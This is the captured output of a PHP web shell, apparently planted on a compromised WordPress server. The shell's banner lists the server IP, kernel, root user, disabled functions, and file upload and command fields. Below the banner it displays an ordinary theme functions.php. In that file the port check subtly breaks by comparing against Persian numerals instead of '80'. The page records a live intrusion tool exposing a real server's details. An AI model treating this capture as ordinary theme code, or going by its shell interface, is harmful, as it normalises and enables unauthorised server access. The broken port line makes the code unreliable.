403Webshell
Server IP : 65.109.86.83  /  Your IP : 216.73.217.84
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/zodiac22/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/zodiac22/functions.php
<?php

/**
 * @return string
 */
function get_body_data()
{
    if (
        !is_page('Blog') &&
        !is_single() &&
        !is_search() &&
        !is_page('30 Secrets') &&
        !is_page('30 Secrets Confirmation') &&
        !is_page('30 Secrets Thank You')
    ) {
        return "style=\"
        background-image: url(" . get_field('website_background', 'option') . ");
        background-repeat:  no-repeat;
        background-attachment: fixed;
        background-size: cover\"";
    }
}

if (!function_exists('yqhoro_theme_setup')) :

    function yqhoro_theme_setup()
    {
        $prefix = HORO_NAMESPACE_SMALL;

        load_theme_textdomain('yqhorotheme', get_template_directory() . '/languages');

        add_theme_support('automatic-feed-links');

        add_theme_support('title-tag');

        add_theme_support('post-thumbnails');
        register_nav_menus([
            'menu-1'    => esc_html__('Primary', $prefix . 'mansecrets'),
            'blog-menu' => esc_html__('Blog Menu', $prefix . 'mansecrets'),
        ]);
        add_theme_support('html5', [
            'search-form',
            'comment-form',
            'comment-list',
            'gallery',
            'caption',
        ]);

        add_theme_support('custom-background', apply_filters($prefix . 'mansecrets_custom_background_args', [
            'default-color' => 'ffffff',
            'default-image' => '',
        ]));

        add_theme_support('customize-selective-refresh-widgets');

        add_theme_support('custom-logo', [
            'height'      => 250,
            'width'       => 250,
            'flex-width'  => true,
            'flex-height' => true,
        ]);
    }
endif;

add_action('after_setup_theme', 'yqhoro_theme_setup');

function content_width()
{
    $_GLOBALS['content_width'] = apply_filters('content_width', 640);
}

add_action('after_setup_theme', 'content_width', 0);

function yqhoro_widgets_init()
{
    register_sidebar([
        'name'          => esc_html__('Sidebar', 'yqhorotheme'),
        'id'            => 'sidebar-1',
        'description'   => esc_html__('Add widgets here.', 'yqhorotheme'),
        'before_widget' => '<section id="%1$s" class="widget %2$s">',
        'after_widget'  => '</section>',
        'before_title'  => '<p class="widget_title">',
        'after_title'   => '</p>',
    ]);

    register_sidebar([
        'name'          => esc_html__('After Post', 'yqhorotheme'),
        'id'            => 'widget-after-post',
        'description'   => esc_html__('Add widgets here.', 'yqhorotheme'),
        'before_widget' => '<section id="%1$s" class="widget %2$s">',
        'after_widget'  => '</section>',
        'before_title'  => '<p class="widget_title">',
        'after_title'   => '</p>',
    ]);
}

add_action('widgets_init', 'yqhoro_widgets_init');

/**
 * Enqueue scripts and styles.
 */
function add_scripts()
{
    $prefix = HORO_NAMESPACE_SMALL;

    wp_register_script('modernizejs', get_template_directory_uri() . '/js/modernizr-2.8.3.min.js', ['jquery'], '', false);
    wp_register_script($prefix . 'mansecrets-datepicker', get_template_directory_uri() . '/js/datepicker.js', ['jquery'], '', true);
    wp_register_script($prefix . 'mansecrets-datetimepicker', get_template_directory_uri() . '/js/datetimepicker.js', ['jquery'], '', true);
    wp_register_script($prefix . 'mansecrets-validate', get_template_directory_uri() . '/js/validate.js', ['jquery'], '', true);
    wp_register_script(
        $prefix . 'mansecrets-main-js',
        get_template_directory_uri() . '/js/main.js',
        [
            'jquery',
            $prefix . 'mansecrets-datepicker',
            $prefix . 'mansecrets-validate',
        ],
        version_id(),
        true
    );

    wp_register_script($prefix . 'mansecrets-blogstyle-js', get_template_directory_uri() . '/js/app.min.js', ['jquery'], version_id(), true);
    wp_localize_script($prefix . 'mansecrets-blogstyle-js', 'ajax_object',
        [
            'ajax_url' => admin_url('admin-ajax.php'),
        ]
    );

    wp_register_script('custom-clickbank-block', get_template_directory_uri() . '/js/clickbank.js', ['jquery'], version_id(), true);
    wp_localize_script($prefix . 'mansecrets-main-js', 'globalWpJavascriptObject',
        [
            'ajax_url'      => admin_url('admin-ajax.php'),
            'clickbank_url' => get_field('purchase_link', 'option'),
        ]
    );

    wp_register_style('allpages-30-secrets', get_template_directory_uri() . '/css/30-secrets.css');
    wp_register_style($prefix . 'mansecrets-blogstyle-css', get_template_directory_uri() . '/css/blogstyle.css');
    wp_register_style('bootstrap5', 'https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css');
    wp_register_style('font-awesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css');
    wp_register_script('bootstrap5-js', 'https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js', ['jquery'], version_id(), true);
    wp_register_script('masonry-js', 'https://cdnjs.cloudflare.com/ajax/libs/masonry/4.2.2/masonry.pkgd.min.js', ['jquery'], version_id(), true);
    wp_register_script('masonry-images-loaded', 'https://cdnjs.cloudflare.com/ajax/libs/jquery.imagesloaded/4.1.4/imagesloaded.pkgd.min.js', ['jquery'], version_id(), true);
    wp_register_script('masonry-images-loaded', 'https://cdnjs.cloudflare.com/ajax/libs/jquery.imagesloaded/4.1.4/imagesloaded.pkgd.min.js', ['jquery'], version_id(), true);


//    wp_register_script('fontawesome-js', 'https://kit.fontawesome.com/a076d05399.js', ['jquery'], version_id(), true);

    wp_register_style($prefix . 'mansecrets-main-css', get_template_directory_uri() . '/css/main.css');
    wp_register_style($prefix . 'mansecrets-datetimepicker-css', get_template_directory_uri() . '/css/datetimepicker.css');

    if (is_page('30 Secrets') || is_page('30 Secrets Confirmation') || is_page('30 Secrets Thank You')) {
        wp_enqueue_style('allpages-30-secrets');
        wp_enqueue_script($prefix . 'mansecrets-modernize-js');
    } elseif (is_page('Special offer')) {
        wp_enqueue_style($prefix . 'mansecrets-datetimepicker-css');
        wp_enqueue_style($prefix . 'mansecrets-main-css');
        wp_enqueue_script($prefix . 'mansecrets-datepicker');
        wp_enqueue_script($prefix . 'mansecrets-validate');
        wp_enqueue_script($prefix . 'mansecrets-modernize-js');
        wp_enqueue_script($prefix . 'mansecrets-form-js');
        wp_enqueue_script($prefix . 'mansecrets-main-js');

    } elseif (is_page('Blog') || is_single() || is_search() || is_tag() || is_category()) {
        wp_enqueue_style($prefix . 'mansecrets-blogstyle-css');
        wp_enqueue_style('bootstrap5');
        wp_enqueue_style('font-awesome');
        wp_enqueue_script($prefix . 'mansecrets-blogstyle-js');
        wp_enqueue_script('bootstrap5-js');
        wp_enqueue_script('masonry-js');
        wp_enqueue_script('masonry-images-loaded');
//        wp_enqueue_script('fontawesome-js');
    } else {
        wp_enqueue_style($prefix . 'mansecrets-main-css');

        wp_enqueue_script($prefix . 'mansecrets-modernize-js');
        wp_enqueue_script($prefix . 'mansecrets-main-js');
    }

    if (
        !is_page('Blog')
        && !is_single()
        && !is_search()
    ) {
        wp_enqueue_script('custom-clickbank-block');
    }

    if (is_singular() && comments_open() && get_option('thread_comments')) {
        wp_enqueue_script('comment-reply');
    }
}

add_action('wp_enqueue_scripts', 'add_scripts');

define('VERSION', '2.0');

function version_id()
{
    if (WP_DEBUG) {
        return time();
    }
    return VERSION;
}

/**
 * Add New Image Size for Blog
 */
add_image_size('blog_featured', '673');
add_image_size('blog_featured_square', 360, 425, true);
add_image_size('blog_featured_regular', 360, 270, true);
add_image_size('full_width', 780);
add_image_size('blog_listing', 414, 232, true);
add_image_size('similar_reads', 270, 150, true);

/**
 * Site options
 */
if (function_exists('acf_add_options_page')) {
    $args = ['page_title' => 'Site options'];
    acf_add_options_page($args);
}
/**
 * @param $mimes
 *
 * @return mixed
 * Allow SVG images to be uploaded!
 */
function cc_mime_types($mimes)
{
    $mimes['svg'] = 'image/svg+xml';
    return $mimes;
}

add_filter('upload_mimes', 'cc_mime_types');

/**
 * print page id for section block on page.php
 *
 * @param $pageName
 *
 * @return string
 */
function clbs_get_page_id($pageName)
{

    switch ($pageName) {
        case 'Terms of Use':
            $pageSlug = 'terms';
            break;
        case 'Contact':
            $pageSlug = 'contact';
            break;
        case 'Refund Policy':
            $pageSlug = 'refund';
            break;
        case 'Affiliates':
            $pageSlug = 'affiliates';
            break;
        case 'Special offer thank you for your purchase':
        case 'Thank You for Your Purchase':
            $pageSlug = 'thankYou';
            break;
        case 'Privacy policy':
            $pageSlug = 'privacy';
            break;
        default:
            $pageSlug = '';
    }

    return $pageSlug;
}


function enhance_body_class($classes)
{
    is_page('Blog') || is_single() || is_search() ? $blogClass = 'template-single' : $blogClass = '';
    $classes[] = $blogClass;

    return $classes;
}

add_filter('body_class', 'enhance_body_class');

/**
 * remove [...] from post excerpt
 *
 * @return string
 */
function new_excerpt_more()
{
    return '...';
}

add_filter('excerpt_more', 'new_excerpt_more');

function get_current_url()
{
    $pageURL = 'http';
    if (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on") {
        $pageURL .= "s";
    }
    $pageURL .= "://";
    if ($_SERVER["SERVER_PORT"] != "۸۰") {
        $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
    } else {
        $pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
    }
    return $pageURL;
}

/**
 * breacrumb custom function
 */
function the_breadcrumb($postId = null)
{
    $sep = ' » ';

    $breadcrumb = '<div class="breadcrumbs">';
    $breadcrumb .= '<a href="' . get_option('home') . '/blog">Blog</a>' . $sep;

    if (is_single()) {
        $postData = get_the_category($postId);
        $breadcrumb .= '<a href="/' . $postData[0]->slug . '">' . $postData[0]->name . '</a>';
        $breadcrumb .= $sep;
        $breadcrumb .= get_the_title();
    }

    if (is_category()) {
        $get_cat = get_the_category();
        $breadcrumb .= $get_cat[0]->cat_name;
    }

    $breadcrumb .= '</div>';

    return $breadcrumb;
}

function custom_excerpt_length($length)
{
    return 20;
}

add_filter('excerpt_length', 'custom_excerpt_length', 999);

function create_page_group_taxonomy()
{
    $labels = [
        'name'              => _x('Page Groups', 'taxonomy general name'),
        'singular_name'     => _x('Page Group', 'taxonomy singular name'),
        'search_items'      => __('Search Page Groups'),
        'all_items'         => __('All Page Groups'),
        'parent_item'       => __('Parent Page Group'),
        'parent_item_colon' => __('Parent Page Group:'),
        'edit_item'         => __('Edit Page Group'),
        'update_item'       => __('Update Page Group'),
        'add_new_item'      => __('Add New Page Group'),
        'new_item_name'     => __('New Page Group Name'),
        'menu_name'         => __('Page Group'),
    ];

    $args = [
        'hierarchical'      => true, // Behaves like category, set to false for tags-like behavior
        'labels'            => $labels,
        'show_ui'           => true,
        'show_admin_column' => true,
        'query_var'         => true,
        'rewrite'           => ['slug' => 'page_group'], // The slug for permalinks
    ];

    register_taxonomy('page_group', 'page', $args);
}

add_action('init', 'create_page_group_taxonomy', 0);

function page_group_add_term_fields()
{
    // This will add the form field for adding a new term
    ?>
    <div class="form-field term-group">
        <label for="page_group-order"><?php _e('Order', 'textdomain'); ?></label>
        <input type="number" id="page_group-order" name="page_group-order"/>
        <p><?php _e('The order in which this group should appear.', 'textdomain'); ?></p>
    </div>
    <?php
}

add_action('page_group_add_form_fields', 'page_group_add_term_fields', 10, 2);

function page_group_edit_term_fields($term)
{
    // This will add the form field when editing an existing term
    $order = get_term_meta($term->term_id, 'page_group-order', true);
    ?>
    <tr class="form-field term-group-wrap">
        <th scope="row"><label for="page_group-order"><?php _e('Order', 'textdomain'); ?></label></th>
        <td>
            <input type="number" id="page_group-order" name="page_group-order" value="<?php echo esc_attr($order); ?>"/>
            <p class="description"><?php _e('The order in which this group should appear.', 'textdomain'); ?></p>
        </td>
    </tr>
    <?php
}

add_action('page_group_edit_form_fields', 'page_group_edit_term_fields', 10, 2);

// Save the custom meta
function save_page_group_custom_meta($term_id)
{
    if (isset($_POST['page_group-order'])) {
        update_term_meta($term_id, 'page_group-order', sanitize_text_field($_POST['page_group-order']));
    }
}

add_action('created_page_group', 'save_page_group_custom_meta', 10, 2);
add_action('edited_page_group', 'save_page_group_custom_meta', 10, 2);

function get_category_title_by_yoast()
{
    $category = get_queried_object();
    $seo_title = '';

    if (!empty($category) && !is_wp_error($category)) {
        // Fetch the Yoast SEO title for the current category
        $seo_title = WPSEO_Taxonomy_Meta::get_term_meta($category, $category->taxonomy, 'title');

        // Fallback to category name if the SEO title isn't set
        if (empty($seo_title)) {
            $seo_title = single_cat_title('', false);
        } else {
            // Replace variables in the template
            $seo_title = wpseo_replace_vars($seo_title, $category);
        }
    }

    return esc_html($seo_title);
}

include 'inc/shortcodes.php';
include 'inc/ajax/advanced-search.php';
include 'inc/ajax/special_offer.php';
include 'inc/widgets/recent-posts.php';
include 'inc/widgets/about.php';
include 'inc/widgets/about-author-after-text.php';
include 'inc/clickbank-shortcode.php';
include 'sitemap/functions.php';

Youez - 2016 - github.com/yon3zu
LinuXploit